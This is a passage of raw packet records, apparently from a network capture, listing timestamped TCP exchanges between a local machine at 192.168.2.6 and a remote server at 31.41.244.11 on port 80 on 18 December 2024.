Dec 18, 2024 11:47:45.279385090 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.279419899 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.280509949 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.280560017 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.280600071 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.280633926 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.281711102 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.281754017 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.281801939 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.281836033 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.282944918 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.283005953 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.283010960 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.283044100 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.284099102 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.284152031 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.284317017 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.284353971 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.285248041 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.285290956 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.285351992 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.285388947 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.286407948 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.286453009 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.286535025 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.286569118 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.287571907 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.287615061 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.287657022 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.287695885 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.417484999 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.417572021 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.417588949 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.417632103 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.417870045 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.417917967 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.417953014 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.417993069 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.418765068 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.418809891 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.418900013 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.418940067 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.420104980 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.420137882 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.420152903 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.420178890 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.420727968 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.420773029 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.420835018 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.420876026 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.421865940 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.421909094 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.421988964 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.422033072 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.422918081 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.422966003 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.423010111 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.423051119 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.424139977 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.424181938 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.424243927 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.424279928 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.425295115 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.425333977 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.425401926 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.425436974 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.426445961 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.426486015 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.426562071 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.426598072 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.427597046 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.427635908 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.427714109 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.427745104 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.428778887 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.428816080 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.428878069 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.428910017 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.429981947 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.430021048 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.430094957 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.430130005 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.431147099 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.431165934 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.431185961 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.431200027 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.432348967 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.432410002 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.432507038 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.432564974 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.433476925 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.433517933 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.433594942 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.433629990 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.434724092 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.434762001 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.434799910 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.434838057 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.435838938 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.435892105 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.435929060 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.435969114 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.437002897 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.437040091 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.437119007 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.437156916 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.438188076 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.438231945 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.438292980 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.438330889 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.439420938 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.439459085 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.439730883 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.439769030 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.440557003 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.440594912 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.440663099 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.440700054 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.441720963 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.441761017 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.441832066 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.441869020 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.442871094 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.442913055 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.442970991 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.443007946 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.444068909 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.444108009 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.444185019 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.444221973 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.445238113 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.445282936 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.445390940 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.445429087 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.446459055 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.446504116 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.446619987 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.446657896 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.447577000 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.447613955 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.447777033 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.447812080 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.448786974 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.448823929 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.448872089 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.448909044 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.449918985 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.449956894 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.450021982 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.450057983 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.451112032 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.451148033 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.451221943 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.451257944 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.452301979 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.452344894 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.452408075 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.452442884 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.453551054 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.453572035 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.453594923 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.453615904 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.454653978 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.454699039 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.454756021 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.454791069 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.455810070 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.455849886 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.455897093 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.455930948 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.456981897 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.457019091 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.457042933 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.457072020 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.458132982 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.458178997 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.458239079 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.458271980 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.459348917 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.459387064 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.459431887 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.459465027 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.460519075 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.460561037 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.460625887 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.460660934 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.461680889 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.461726904 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.461791992 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.461826086 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.462975979 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.463026047 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.463074923 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.463109016 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.464195013 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.464236021 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.464255095 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.464289904 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.465244055 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.465286970 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.465346098 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.465380907 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.466377974 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.466424942 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.466450930 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.466485977 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.467526913 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.467569113 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.467633009 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.467668056 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.468715906 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.468753099 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.468796015 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.468827009 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.469949007 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.469995022 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.470057011 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.470096111 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.471075058 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.471126080 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.471168995 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.471208096 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.472225904 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.472266912 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.472322941 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.472368002 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.473428011 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.473473072 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.473649979 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.473689079 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.474639893 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.474685907 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.474771976 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.474809885 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.475836992 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.475886106 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.475949049 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.475995064 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.476968050 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.477020025 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.477047920 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.477086067 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.478113890 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.478149891 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.478158951 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.478182077 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.608783007 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.608809948 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.608938932 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.610306978 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.610328913 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.610346079 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.610373974 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.610388041 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.611072063 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.611119032 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.612118006 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.612142086 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.612160921 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.612183094 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.612183094 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.612200975 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.613641024 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.613663912 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.613698959 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.613711119 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.614152908 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.614203930 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.614347935 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.614432096 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.615405083 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.615468025 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.616609097 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.616626024 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.616643906 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.616663933 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.616678953 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.618356943 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.618374109 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.618422985 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.618453026 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.619375944 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.619391918 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.619432926 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.619432926 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.620620012 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.620635986 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.620677948 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.620678902 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.621375084 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.621426105 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.621431112 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.621473074 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.622600079 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.622659922 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.622723103 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.622771025 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.623753071 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.623810053 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.623956919 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.624011040 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.624829054 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.624882936 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.625047922 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.625101089 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.626391888 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.626429081 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.626467943 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.626467943 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.627420902 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.627459049 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.627475977 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.627502918 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.628412962 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.628449917 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.628468037 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.628490925 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.629862070 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.629898071 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.629951000 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.629981041 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.631800890 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.631839037 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.631870031 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.631875038 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.631894112 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.631937981 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.633001089 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.633043051 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.633095980 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.633100986 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.633141994 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.634162903 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.634200096 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.634217978 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.634268045 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.636668921 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.636707067 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.636724949 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.636753082 CET	49878	80	192.168.2.6	31.41.244.11
